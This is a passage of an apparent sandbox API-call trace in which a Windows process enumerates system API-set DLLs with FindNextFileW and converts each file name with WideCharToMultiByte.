ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.728] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.728] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.728] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.728] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.728] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xa8c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0248.728] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa8c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0248.728] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0248.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xa8c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa8c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xa8c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa8c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.729] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa8c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0xa8c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xa8c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa8c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa8c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0248.730] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0248.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa8c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 